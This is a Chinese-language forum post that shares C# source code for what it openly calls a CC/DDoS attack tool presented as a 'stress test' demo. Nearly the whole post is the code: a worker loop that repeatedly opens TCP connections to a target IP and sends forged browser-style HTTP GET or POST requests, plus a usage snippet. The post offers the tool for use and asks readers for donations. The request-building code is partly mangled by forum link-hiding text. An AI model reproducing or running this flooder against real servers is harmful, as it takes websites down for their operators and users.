C#压力测试(CCDDOS攻击)源代码
Page 1 of 1
C#压力测试(CCDDOS攻击)源代码
发放一个C#(C#封装的网络类比较多且全面,适合做网页测试软件)的CC/DDOS攻击器demo的源代码。
使用C#当中socket基类编程,效率比较高。大家有钱的捧个钱场,没钱的捧个人场了啊~
使用方法:
使用C#当中socket基类编程,效率比较高。大家有钱的捧个钱场,没钱的捧个人场了啊~
- using System.Text;
- using System.ComponentModel;
- using System.Net.Sockets;
- using System.Net;
- namespace DepthCharge
- {
- class HttpTest
- {
- const string NewLine = "\r\n";
- bool run = false;
- BackgroundWorker worker;
- int count;
- string host;
- int port;
- string path;
- string method;
- string content;
- public HttpTest(int count, string host, int port,string path, string method, string content)
- {
- this.count=count;
- this.host = host;
- this.port = port;
- this.path = path;
- this.method = method;
- this.content = content;
- }
- public void start()
- {
- worker = new BackgroundWorker();
- worker.DoWork += new DoWorkEventHandler(doWork);
- worker.RunWorkerAsync();
- worker.WorkerSupportsCancellation = true;
- }
- public void stop()
- {
- run = false;
- worker.CancelAsync();
- }
- private void doWork(object sender, DoWorkEventArgs e)
- {
- run = true;
- StringBuilder strb = new StringBuilder();
- strb.Append(method + " " + this.path + NewLine);
- strb.Append("HOST: " + this.host + NewLine);
- strb.Append("User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7" + NewLine);
- strb.Append("Accept: */*" + NewLine);
- strb.Append("Connection: keep-alive" + NewLine);
- strb.Append("Referer: [url=http://][You must be registered and logged in to see this link.] + this.host + NewLine);
- strb.Append("HOST: " + this.host + NewLine);
- strb.Append("Accept-Encoding: gzip,deflate" + NewLine);
- strb.Append("Accept-Language: zh-CN,zh;q=0.8" + NewLine);
- if ("POST".Equals(method))
- {
- strb.Append("Content-Length: " + System.Text.Encoding.ASCII.GetBytes(content.ToString()).Length + NewLine);
- }
- strb.Append("Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3" + NewLine);
- strb.Append(NewLine);
- if ("POST".Equals(method))
- {
- strb.Append(content);
- }
- byte[] buf = System.Text.Encoding.ASCII.GetBytes(strb.ToString());
- for (int i = count; i > 0 && run; --i)
- {
- byte[] recvBuf = new byte[64];
- IPAddress ip = IPAddress.Parse(host);
- System.Net.IPEndPoint endp = new System.Net.IPEndPoint(ip, 80);
- var socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
- socket.Connect(endp);
- socket.Send(buf);
- socket.Receive(recvBuf, 64, SocketFlags.None);
- }
- }
- public bool Running { get{return run;} set{run=value;} }
- }
- }
使用方法:
- httptest = new HttpTest(int.Parse(httpcount.Text), this.httphost.Text,int.Parse(this.httpport.Text), this.httppath.Text, this.httpmethod.Text, this.httpcontent.Text);
- httptest .start();
cyjian- Spammer
- Posts : 211
Points : 72995
Reputation : 0
Join date : 2014-06-18
Page 1 of 1
Permissions in this forum:
You cannot reply to topics in this forum
|
|